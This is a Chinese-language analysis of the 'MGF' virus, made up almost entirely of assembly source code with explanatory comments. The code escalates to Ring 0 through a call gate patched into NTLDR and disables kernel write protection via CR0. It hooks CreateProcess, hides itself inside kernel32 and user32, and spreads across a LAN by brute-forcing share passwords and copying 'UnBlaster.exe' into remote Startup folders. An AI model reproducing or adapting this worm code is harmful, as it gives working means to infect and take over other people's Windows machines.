利用NTLDR进入RING0的方法及MGF病毒技术分析

_dwFlag-----bit 0:0=ntldr, 1=PE;bit 1:0=mem, 1=file;
bit 2:0=auto(ansi/unicode), 1=ansi 
……………………
.else;_dwFlag ;如果是NTLDR文件，写入CALLGATE 
lea esi,szGdtData[ebx] 
mov edi,@lpFileMap 
mov ecx,@dwFileSize 
@@: 
inc edi 
push esi 
push edi 
push ecx 
mov ecx,10h 
repz cmpsb 
pop ecx 
pop edi 
pop esi 
loopnz @b 

.if ZERO? 
xor eax,eax 
mov ecx,80h 
@@: 
sub edi,8 
push edi 
push ecx 
mov ecx,8 
repz scasb 
pop ecx 
pop edi 
loopnz @b 

.if ZERO? 
add edi,100h 
lea esi,szCallGate[ebx] 
mov ecx,10h 
rep movsb 

mov edx,dwC3Address[ebx] 
mov word ptr [edi-16],dx 
shr edx,16 
mov word ptr [edi-10],dx 

;RING0
mov eax,esp 
mov esp,[esp+4] ;切换堆栈 switch to ring3 esp
push eax ;save ring0 esp

mov eax,cr0
push eax ;CR0
btr eax,16
mov cr0,eax ;去掉kernel32模块只读内存页的写保护
mov eax,lpOldPE[ebx]
mov edx,dwOldEntry[ebx]
mov [eax+28h],edx
mov edx,dwOldImage[ebx]
mov [eax+50h],edx ;恢复进程的入口和映像大小，避过某些程序的自我保护
mov edi,hKernel32[ebx]
add edi,[edi+3ch]
mov edi,[edi+54h]
add edi,hKernel32[ebx]
mov lpMemPosition1[ebx],edi
lea esi,VirusStart[ebx]
mov ecx,10h
repz cmpsb ;判断病毒是否已经在内存
.if !ZERO? ;not in mem
.if dwVersion[ebx] ;不在内存 and win9x
push 0fh
push 0
push -1
push 0
push 0
push 0
push 1
push 1
@@:
int 20h ;vxd->_PageAllocate
dd 00010053h
add esp,8*4
lea edi,@b[ebx]
mov word ptr [edi],20cdh
mov dword ptr [edi+2],00010053h
.else
mov eax,hUser32[ebx]
add eax,[eax+3ch]
mov eax,[eax+54h]
add eax,hUser32[ebx] ;2000/XP/2003---》EAX=user32.dll模块的空隙
.endif
mov lpMemPosition2[ebx],eax
mov edi,lpMemPosition1[ebx]
add edi,offset _BeforeAPI-offset VirusStart
mov dword ptr [ebx+szNewCommand+1],edi ;
构造跳转入CreateProcess拦截函数的指令,
把HOOK CREATEPROCESS的指令地址放到第一段代码的后面
mov esi,dwCreateProcess[ebx]
push esi
lea edi,szOldCommand[ebx]
mov ecx,6
rep movsb ;保存原来CreateProcess函数的前6字节
lea esi,szNewCommand[ebx]
pop edi
mov ecx,6
rep movsb ;把CreateProcess函数的第一条指令改为跳入拦截函数的指令
lea esi,VirusStart[ebx]
mov edi,lpMemPosition1[ebx]
mov ecx,VirusSizeP1
rep movsb ;病毒前3K驻留在kernel32模块
mov edi,eax
mov ecx,VirusSizeP2
rep movsb ;病毒后2K驻留在user32模块或vxd _PageAllocate分到的页中
.endif
pop eax
mov cr0,eax ;恢复CR0
pop esp
lea eax,Ring3_1[ebx]
push eax
retf ;返回RING3
Ring3_1:
.endif

_GoLAN proc lParam
local @hEnum
local @dwcCount
local @szResourceName[32]:byte
local @szBuffer[0c00h]:byte
ret
pushad
db 0e8h,0,0,0,0
pop ebx
sub ebx,$-1
lea eax,@hEnum
push eax
push 0
push 13h
push 0
push 5
call dwWNetOpenEnum[ebx]
.if !eax
.repeat
mov @dwcCount,-1
lea eax,dwBufferSize[ebx]
push eax
lea eax,@szBuffer
push eax
lea eax,@dwcCount
push eax
push @hEnum
call dwWNetEnumResource[ebx]
cmp dword ptr [@szBuffer+14h],0
jnz @f
.until eax
push @hEnum
call dwWNetCloseEnum[ebx]
.endif
jmp _GoLANexit
@@:
push @hEnum
call dwWNetCloseEnum[ebx]
lea edi,@szBuffer
_NextPC:
push edi
mov esi,[edi+14h]
lea edi,@szResourceName
@@:
lodsb
stosb
or al,al
jnz @b
mov dword ptr [edi-1],\'C\\\'
pop edi
xor eax,eax
mov dwPassword[ebx],eax
@@:
lea edx,szLocalDrive[ebx]
push edx
push eax
lea edx,@szResourceName
push edx
call dwWNetAddConnection[ebx]
.if eax==56h
call _GenPassWord
cmp dwPassword[ebx],0
jnz @b
.elseif !eax
push 0
lea eax,szDFile[ebx]
push eax
lea eax,szSFile[ebx]
push eax
call dwCopyFile[ebx] ;如果找到可写共享，感染
mov esi,eax
push 1
lea eax,szLocalDrive[ebx]
push eax
call dwWNetCancelConnection[ebx]
call _GenPassWord
or esi,esi
jz @b
.endif
add edi,20h
dec @dwcCount
jnz _NextPC
_GoLANexit:
popad
ret
_GoLAN endp
szMemToFileName db \'UnBlaster.exe\',0
szSFile db \'c:\\windows\\system\\UnBlaster.exe\',0
szDFile db \'X:\\WINDOWS\\All Users\\Start Menu\\Programs\\
启动\\UnBlaster.exe\',0 ;
从这里可以看出，把病毒复制到远程主机的启动文件中。
dwPassword dd 0
dd 0,0
szPassword db 0
szLocalDrive db \'x:\',0
dwBufferSize dd 0c00h
_GenPassWord:;生成密码的子程序，密码包括1234567890!@#$%^字符
std
pushad
lea edi,[ebx+szPassword-1]
xor edx,edx
mov eax,dwPassword[ebx]
mov ecx,16
@@:
div ecx
xchg eax,edx
.if al<=5
add al,21h
.else ;if al>=6 && al<=15
add al,2ah
.endif
stosb
xor eax,eax
xchg eax,edx
or eax,eax
jnz @b
inc edi
inc dwPassword[ebx]
mov [esp+20h-4],edi
popad
cld
ret